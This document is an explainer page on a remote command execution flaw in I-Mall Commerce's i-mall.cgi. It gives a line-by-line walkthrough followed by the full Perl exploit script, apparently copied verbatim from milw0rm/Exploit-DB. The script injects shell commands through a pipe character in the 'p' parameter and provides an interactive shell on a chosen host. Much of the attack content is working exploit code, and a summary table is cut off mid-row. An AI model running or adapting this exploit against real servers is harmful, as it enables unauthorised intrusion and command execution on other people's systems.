I-Mall Commerce 'i-mall.cgi' Remote Command Execution Explained

I-Mall Commerce 'i-mall.cgi' Remote Command Execution Explained
What this paper is
This paper details a remote command execution vulnerability in the I-Mall Commerce software, specifically within its i-mall.cgi script. The exploit allows an attacker to execute arbitrary commands on the web server with the privileges of the web server user. The provided exploit script is written in Perl and aims to provide an interactive shell-like experience.
Simple technical breakdown
The vulnerability lies in how the i-mall.cgi script handles user input. It appears to be susceptible to command injection because it doesn't properly sanitize or escape special characters. The exploit leverages this by sending specially crafted HTTP requests that include shell commands. These commands are then executed by the web server. The Perl script automates the process of sending these requests and displaying the output, effectively giving the user a way to run commands on the target.
Complete code and payload walkthrough
The provided Perl script automates the exploitation of the I-Mall Commerce i-mall.cgi vulnerability. Let's break down its components:
Header and Global Variables:
##############################################
# I-Mall explo
# Spawn bash style Shell with webserver uid
# Greetz z\, spax, foxtwo, Zone-H
# This Script is currently under development
##############################################
use strict;
use IO::Socket;
my $host;
my $port;
my $command;
my $url;
my $shiz;
my @results;
my $probe;
my @U;
$U[1] = "/i-mall/i-mall.cgi?p=|";use strict;: Enforces stricter parsing and variable declaration, helping to catch errors.use IO::Socket;: Imports the necessary module for network socket operations (connecting to the web server).my $host;: Variable to store the target host's IP address or hostname.my $port;: Variable to store the target port (defaulting to 80).my $command;: Variable to store the command to be executed or user input.my $url;: Variable to store the target URL path for the CGI script.my $shiz;: This variable is initialized to|and used as a separator in the command injection.my @results;: An array to store the output received from the web server.my $probe;: A flag to indicate the current mode of operation (e.g., "scan", "command", "string").my @U;: An array to store different URL paths or command prefixes.$U[1] = "/i-mall/i-mall.cgi?p=|";: This is a crucial part. It predefines a common URL path for the vulnerable CGI script and appends?p=|. The|is a shell pipe character, which is key to injecting commands.
Main Execution Flow:
&intro;
&scan;
&choose;
&command;
&exit;This section defines the sequence of subroutine calls that the script will execute:
&intro;: Initializes the script, displays help, and prompts for host/port.&scan;: Attempts to scan for the vulnerability.&choose;: Allows the user to select a URL path to exploit.&command;: Enters the interactive command execution loop.&exit;: Cleans up and exits the script.
Subroutine Definitions:
sub intro { ... }:- Calls
&help;to display usage information. - Calls
&host;to get the target host and port. - Calls
&server;to attempt to identify the web server type. sleep 1;: Pauses for a second.
- Calls
sub host { ... }:- Prompts the user for the "Host or IP". If empty, defaults to "127.0.0.1".
- Sets
$shiz = "|";. - Prompts for the "Port". If input contains non-digits (
\D) or is empty, defaults to "80".
sub server { ... }:- Clears the screen with many newlines.
- Sets
$probe = "string";to indicate it's probing for server information. - Initializes
$outputand$webserver. - Calls
&connect;to send aHEADrequest. - Iterates through the first 10 results (
@results) to check if "apache" is present in the output. If found, sets$webserver = "apache". - If
$webserveris not "apache", it prompts the user to continue (though thechomp $choice;andif ($choice =~/N/i) {&exit};logic seems incomplete or intended for a different flow, as$choiceis not actually read from input). It proceeds if it's not "apache" or if the check passes.
sub scan { ... }:- Initializes
$status = "not_vulnerable";. - Clears the screen.
- Sets
$command="dir";(this command is not directly used here but might be a default for later). - Iterates through the
@Uarray (starting from index 1, as$U[0]is not defined yet). - For each URL in
@U:- Sets
$flag = "0";. - Sets
$url = $U[$loop];. - Sets
$probe = "scan";to indicate a scan operation. - Calls
&connect;to send a GET request with the current URL and the default command (which isdirat this point, but the injection happens via$url$command$shiz). - Iterates through the
@resultsfrom the connection. - If any result line contains "Directory", it sets
$flag = "1";and$status = "vulnerable";.
- Sets
- After the loop, if
$statusremains "not_vulnerable", it prints a message (which is currently empty).
- Initializes
sub choose { ... }:- Sets a default choice to "1".
- Prompts for user input for choice (though the prompt is missing, and
chomp $choice;is used). - Validates the choice: if it's out of bounds for
@Uor contains non-digits, it calls&chooserecursively. - If the choice is "0", it calls
&other. - Otherwise, it sets
$url = $U[$choice];.
sub other { ... }:- Reads a line from STDIN into
$other. - Chomps it.
- Sets
$U[0] = $other;. This allows the user to define a custom URL path if they don't want to use the predefined ones.
- Reads a line from STDIN into
sub command { ... }:- This is the main interactive command loop.
- It continues as long as
$commanddoes not contain "quit" (case-insensitive). - Prints a prompt
[$host]\$. - Reads user input into
$commandand chomps it. - Checks for special commands:
- If
quit, calls&exit. - If
url, calls&chooseto change the target URL. - If
scan, calls&scan. - If
help, calls&help.
- If
- If the command is not one of the special commands:
$command =~ s/\s/+/g;: Replaces all whitespace characters in the command with+. This is a common technique for URL encoding in GET requests.- Sets
$probe = "command";to indicate command execution. - Calls
&connect;to send the crafted request.
- Once the loop exits (by typing "quit"), it calls
&exit.
sub connect { ... }:my $connection = IO::Socket::INET->new(...): Creates a TCP socket connection to the target$hoston$port. If connection fails, it prints an error and exits.$connection -> autoflush(1);: Ensures that data sent to the socket is immediately transmitted.- Conditional Request Sending:
if ($probe =~/command|scan/): If in "command" or "scan" mode:print $connection "GET $url$command$shiz HTTP/1.1\r\nHost: $host\r\n\r\n";- This is the core of the exploit. It constructs a GET request.
$url: The base URL path (e.g.,/i-mall/i-mall.cgi?p=).$command: The user-provided command, with spaces replaced by+.$shiz: The pipe character|.- The combined string effectively becomes something like
GET /i-mall/i-mall.cgi?p=|ls+ -la HTTP/1.1. The|allows the command following it to be executed by the shell.
elsif ($probe =~/string/): If in "string" (initial probe) mode:print $connection "HEAD / HTTP/1.1\r\nHost: $host\r\n\r\n";- Sends a
HEADrequest to the root of the server. This is a less intrusive way to get server headers, which might contain information about the web server software.
- Receiving Data:
while ( <$connection> ) { @results = <$connection>; }: Reads all lines from the socket into the@resultsarray.
close $connection;: Closes the socket connection.if ($probe eq "command"){ &output };: If in command mode, call&outputto display results.if ($probe eq "string"){ &output };: If in string mode, call&outputto display server info.
sub output { ... }:if ($probe eq "string"): If in "string" mode (initial server probe):- Iterates through the first 10 lines of
@resultsand prints them. This is to display server headers.
- Iterates through the first 10 lines of
else: For "command" or "scan" modes:- Iterates through all lines in
@resultsand prints them. This displays the output of the executed command.
- Iterates through all lines in
sub exit { ... }:- Prints a farewell message "ORP".
exit;: Terminates the script.
sub help { ... }:- Clears the screen.
- Prints a help message including:
- Vulnerability details (I-Mall E-Commerce Software, i-mall.cgi, Command Execution).
- Author/Source (SPABAM 2004, zone-h.org).
- Exploit version.
- A note about the typical web directory (
/var/www/html). - Usage instructions for Host, Port, and Commands (SCAN, URL, HELP, QUIT).
Code Fragment/Block -> Practical Purpose Mapping:
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
##############################################
# I-Mall explo
# Spawn bash style Shell with webserver uid
# Greetz z\, spax, foxtwo, Zone-H
# This Script is currently under development
##############################################
use strict;
use IO::Socket;
my $host;
my $port;
my $command;
my $url;
my $shiz;
my @results;
my $probe;
my @U;
$U[1] = "/i-mall/i-mall.cgi?p=|";
&intro;
&scan;
&choose;
&command;
&exit;
sub intro {
&help;
&host;
&server;
sleep 1;
};
sub host {
print "\nHost or IP : ";
$host=<STDIN>;
chomp $host;
if ($host eq ""){$host="127.0.0.1"};
$shiz = "|";
print "\nPort (enter to accept 80): ";
$port=<STDIN>;
chomp $port;
if ($port =~/\D/ ){$port="80"};
if ($port eq "" ) {$port = "80"};
};
sub server {
my $X;
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
$probe = "string";
my $output;
my $webserver = "something";
&connect;
for ($X=0; $X<=10; $X++){
$output = $results[$X];
if (defined $output){
if ($output =~/apache/){ $webserver = "apache" };
};
};
if ($webserver ne "apache"){
my $choice = "y";
chomp $choice;
if ($choice =~/N/i) {&exit};
}else{
print "\n\nOK";
};
};
sub scan {
my $status = "not_vulnerable";
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
my $loop;
my $output;
my $flag;
$command="dir";
for ($loop=1; $loop < @U; $loop++) {
$flag = "0";
$url = $U[$loop];
$probe = "scan";
&connect;
foreach $output (@results){
if ($output =~ /Directory/) {
$flag = "1";
$status = "vulnerable";
};
};
if ($flag eq "0") {
}else{
};
};
if ($status eq "not_vulnerable"){
};
};
sub choose {
my $choice="1";
chomp $choice;
if ($choice > @U){ &choose };
if ($choice =~/\D/g ){ &choose };
if ($choice == 0){ &other };
$url = $U[$choice];
};
sub other {
my $other = <STDIN>;
chomp $other;
$U[0] = $other;
};
sub command {
while ($command !~/quit/i) {
print "[$host]\$ ";
$command = <STDIN>;
chomp $command;
if ($command =~/quit/i) { &exit };
if ($command =~/url/i) { &choose };
if ($command =~/scan/i) { &scan };
if ($command =~/help/i) { &help };
$command =~ s/\s/+/g;
$probe = "command";
if ($command !~/quit|url|scan|help/) {&connect};
};
&exit;
};
sub connect {
my $connection = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => "$host",
PeerPort => "$port",
) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n";
$connection -> autoflush(1);
if ($probe =~/command|scan/){
print $connection "GET $url$command$shiz HTTP/1.1\r\nHost: $host\r\n\r\n";
}elsif ($probe =~/string/) {
print $connection "HEAD / HTTP/1.1\r\nHost: $host\r\n\r\n";
};
while ( <$connection> ) {
@results = <$connection>;
};
close $connection;
if ($probe eq "command"){ &output };
if ($probe eq "string"){ &output };
};
sub output{
my $display;
if ($probe eq "string") {
my $X;
for ($X=0; $X<=10; $X++) {
$display = $results[$X];
if (defined $display){print "$display";};
};
}else{
foreach $display (@results){
print "$display";
};
};
};
sub exit{
print "\n\n\n ORP";
exit;
};
sub help {
print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
print "\n
I-Mall E-Commerce Software i-mall.cgi
Command Execution Vulnerability by SPABAM 2004" ;
print "\n http://www.zone-h.org/advisories/read/id=4904
";
print "\n I-Mall Exploit v0.99beta18";
print "\n \n note.. web directory is normally /var/www/html";
print "\n";
print "\n Host: www.victim.com or xxx.xxx.xxx.xxx (RETURN for 127.0.0.1)";
print "\n Command: SCAN URL HELP QUIT";
print "\n\n\n\n\n\n\n\n\n\n\n";
};
# milw0rm.com [2005-05-04]